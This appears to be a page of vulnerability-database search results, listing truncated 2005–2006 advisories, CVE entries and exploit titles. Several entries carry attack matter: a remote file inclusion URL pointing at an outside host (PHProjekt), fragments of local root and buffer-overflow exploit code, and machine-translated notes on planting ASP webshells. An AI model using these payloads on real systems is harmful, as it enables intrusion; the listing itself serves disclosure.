3309 matches found
PHProjekt <= 6.1 (path_pre) Multiple Remote File Include Vulnerabilities
No description provided by source. Content management module for PHProjekt v0.6.1 Remote File Inclusion Vulnerability Download: http://www.mariovaldez.net/software/cm4p/files/cm4p0.6.1.tar.gz Found By: the master exploit: http://Target/Path/cmnavigation-33.inc.php?pathpre=http://cmd.gif?...
ASP backup into a picture of refinement-bug warning-the black bar safety net
For the reader: the script invasion lovers Pre-knowledge: sql injection ASP backup into a picture of refinement Text/figure luckyfeng Pictures and the database backup file into ASP or ASA Trojan is we often use to get WebShell means, however the ASP files back into a map Sheet file, there will al...
Open Cubic Player <= 2.6.0pre6 / 0.1.10_rc5 Multiple BOF Exploit
Exploit for unknown platform in category local exploits ================================================================ Open Cubic Player include include include define VER "0.1" define POCNAME "proof-of-concept" void fwbofFILE fd, int len, int chr; void fwi08FILE fd, int num; void fwi16FILE fd,...
From encryption software and with the mouth to save back to the file-vulnerability warning-the black bar safety net
Today dad just bought a U disk, but no encryption function, then check the Internet the following folder encryption software, but see there are people asking how to get back has been encrypted, the software today get up to people and claiming to defense-level encryption of the“high strength folde...
CVE-2006-3582
Multiple heap-based buffer overflows in Audacious AdPlug 2.0 and earlier allow remote user-assisted attackers to execute arbitrary code via the size specified in the package header of 1 CFF, 2 MTK, 3 DMO, and 4 U6M files...
Dayfox Blog Insecure Password Storage
------------------------------------------------------------------ - Dayfox Blog Insecure Password Storage - -= http://colander.altervista.org/advisory/DayfoxBlog.txt =- ------------------------------------------------------------------ -= Dayfox Blog =- Omnipresent May 19, 2006 Vunerabilitys:...
phpBB v 2.0.X upload html .gif ( "not 2.0.19" )
/ ,, / / '-./.-' .--' '--. / / /"" SpiderZ ForumZ Security | | | | / / '..' = Autore: SpiderZ = phpBB v 2.0.X upload html .gif "not 2.0.19" = Sito: www.spiderz.tk 1° Registrati al seguente forum 2° entra con i tuoi dati 3° vai su "Profilo" su "Carica avatar da PC:" 4° prepara la tua pagina...
CVE-2006-1231
CAPI4HylaFAX 1.3, when compiled with GENERATEDEBUGSFFDATAFILE set, allows local users to modify arbitrary files via a symlink attack on the c2faxrecvdbgdatafile.sff temporary file...
DEBIAN-CVE-2006-1062
Unspecified vulnerability in lurker.cgi for Lurker 2.0 and earlier allows attackers to read arbitrary files via unknown vectors...
MDKSA-2006:045 : MySQL
Eric Romang discovered a temporary file vulnerability in the mysqlinstalldb script provided with MySQL. This vulnerability only affects versions of MySQL 4.1.x prior to 4.1.12. The updated packages have been patched to address this issue. %NASLMINLEVEL 999999 @DEPRECATED@ This script has been...
CVE-2006-0512
PADL MigrationTools 46 creates temporary files insecurely, which allows local users to overwrite arbitrary files via a symlink attack on the temporary files, which are not properly created by 1 migrateallonline.sh, 2 migratealloffline.sh, 3 migrateallnetinfoonline.sh, 4 migrateallnetinfooffline.s...
All the forums are there BUG-vulnerability warning-the black bar safety net
I found an almost all forums have issues, the problem says big say small is not small,is now all Forum is not almost all support directly the FLASH file directly after the display of the Visual? Just do a FLASH VIRUS is not on the forum cause a great impact? Or do Go directly to HTML the BACKDOOR...
MySQL mysqlhotcopy script insecure temporary file
You are running a version of MySQL which is older than version 4.0.21. mysqlhotcopy is reported to contain an insecure temporary file creation vulnerability. The result of this is that temporary files created by the application may use predictable filenames. A local attacker may also possibly...
Low: Red Hat Security Advisory: gdb security update
An updated gdb package that fixes minor security issues is now available. This update has been rated as having low security impact by the Red Hat Security Response Team. GDB, the GNU debugger, allows debugging of programs written in C, C++, and other languages by executing them in a controlled...
CVE-2005-2663
masqmail before 0.2.18 allows local users to overwrite arbitrary files via a symlink attack on a log file...
Adobe Version Cue 1.0/1.0.1 (OSX) - Local Privilege Escalation
!/usr/bin/perl Adobe Version Cue VCNativeOSX: local root exploit. by: vade79/v9 [email protected] fakehalo/realhalo Adobe Version Cue's VCNative program writes data to a log file in the current working directory while running as setuid root. the logfile is formated as /VCNative-.log, which is easily...
Atomic Photo Album 0.x1.0 - Apa_PHPInclude.INC.php Remote File Inclusion
Atomic Photo Album 0.x1.0 - ApaPHPInclude.INC.php Remote File Inclusion source: https://www.securityfocus.com/bid/14368/info Atomic Photo Album is susceptible to a remote PHP file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An...
FreeBSD : trac -- file upload/download vulnerability (b02c1d80-e1bb-11d9-b875-0001020eed82)
Stefan Esser reports : Trac's wiki and ticket systems allows to add attachments to wiki entries and bug tracker tickets. These attachments are stored within directories that are determined by the id of the corresponding ticket or wiki entry. Due to a missing validation of the id parameter it is...
GLSA-200506-22 : sudo: Arbitrary command execution
The remote host is affected by the vulnerability described in GLSA-200506-22 sudo: Arbitrary command execution The sudoers file is used to define the actions sudo users are permitted to perform. Charles Morris discovered that a specific layout of the sudoers file could cause the results of an...
openssl, openssl095a, openssl096 security update
CentOS Errata and Security Advisory CESA-2005:476-01 Updated OpenSSL packages that fix security issues are now available. This update has been rated as having moderate security impact by the Red Hat Security Response Team. OpenSSL is a toolkit that implements Secure Sockets Layer SSL v2/v3 and...